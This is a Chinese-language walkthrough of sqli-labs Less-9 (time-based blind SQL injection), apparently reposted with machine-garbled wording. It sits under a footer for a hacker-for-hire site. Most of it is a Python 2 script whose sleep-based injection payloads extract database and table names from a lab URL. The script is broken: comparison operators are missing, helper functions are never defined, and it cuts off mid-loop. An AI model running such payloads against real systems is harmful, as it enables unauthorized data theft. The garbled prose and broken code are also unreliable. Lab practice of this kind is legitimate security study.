建立环境：xp sp3虚拟机+xampp
运用东西：firefox浏览器+hackbar插件+tamper data插件+Cookie Editor插件
第九课：GET – Blind – Time based – Single Quotes(依据时刻-单引号-盲注)
这一课咱们发现，加不加单引号页面回来的信息都是相同的。


看一下代码。公然，不管输入是什么，回来的成果都是相同的。这儿就要运用依据时刻的盲注办法了。

在mysql中if(condition,A,B)表明当condition为true时，回来；当condition为false时，回来B。因而咱们能够结构下面的查询。假如数据库名的之一个字母ascii值大于120，则当即回来成果；不然10秒之后才回来成果。

咱们当然能够这样手艺猜解数据库名，表名，列名……也能够自己编写脚原本完结。经过sqli-labs学习sql注入——根底应战之less1-10这篇博客中给出了第八课的python脚本，我稍稍修改了一下来完结第九课。
#-*-coding:utf-8-*-
"""
@version:
@author: giantbranch
@file: blindsqlinjection.py
@time: 2019/5/1
"""
import time
import urllib
import urllib2
index = "0"
getTable = "users"
url = "http://192.168.153.129/sqli-labs/Less-9/?id=1"
database = "database()"
selectDB = "(select database())"
selectTable = "(select table_name from information_schema.tables where table_schema='%s' limit %d,1)"
asciiPayload = "' and if(ascii(substr(%s,%d,1))>=%d,0,sleep(0.1)) #"
lengthPayload = "' and if(length(%s)>=%d,0,sleep(0.1)) #"
selectTableCountPayload = "' and if((select count(table_name) from information_schema.tables where table_schema='%s')>=%d,0,sleep(0.1)) #"
selectTableNameLengthPayloadfront = "'and if((select length(table_name) from information_schema.tables where table_schema='%s' limit "
selectTableNameLengthPayloadbehind = ",1)>=%d,0,sleep(0.1)) #"
#发送恳求,依据页面的回来时刻的判别长度的猜想成果
#string:猜想的字符串;payload:运用的payload;length:猜想的长度
def getLengthResult(payload, string, length):
    print payload % (string, length)
    finalUrl = url + urllib.quote(payload % (string, length))
    s1=time.time()
    res = urllib2.urlopen(finalUrl)
    s2=time.time()
    if s2-s1 0.08:
        return True
    else:
        return False
#发送恳求,依据页面的回来时刻的判别字符的猜想成果
#payload:运用的payload;string:猜想的字符串;pos:猜想字符串的方位;ascii:猜想的ascii
def getResult(payload, string, pos, ascii):
    finalUrl = url + urllib.quote(payload % (string, pos, ascii))
    s1 = time.time()
    res = urllib2.urlopen(finalUrl)
    s2 = time.time()
    if s2 - s1 0.08:
        return True
    else:
        return False
#注入
def inject():
    #猜数据库长度
    lengthOfDBName = getLengthOfString(lengthPayload, database)
    print "length of DBname: " + str(lengthOfDBName)
    #猜数据库称号
    DBname = getName(asciiPayload, selectDB, lengthOfDBName)
    print "current database:" + DBname
    #猜数据库中的表的个数
    tableCount = getLengthOfString(selectTableCountPayload, DBname)
    print "count of table:" + str(tableCount)
    for i in xrange(0, tableCount):
        num = str(i)
        #猜当时表的长度
        selectTableNameLengthPayload = selectTableNameLengthPayloadfront + num + selectTableNameLengthPayloadbehind
        tableNameLength = getLengthOfString(selectTableNameLengthPayload, DBname)

[1] [2] [3] [4] [5] [6] [7]  黑客接单网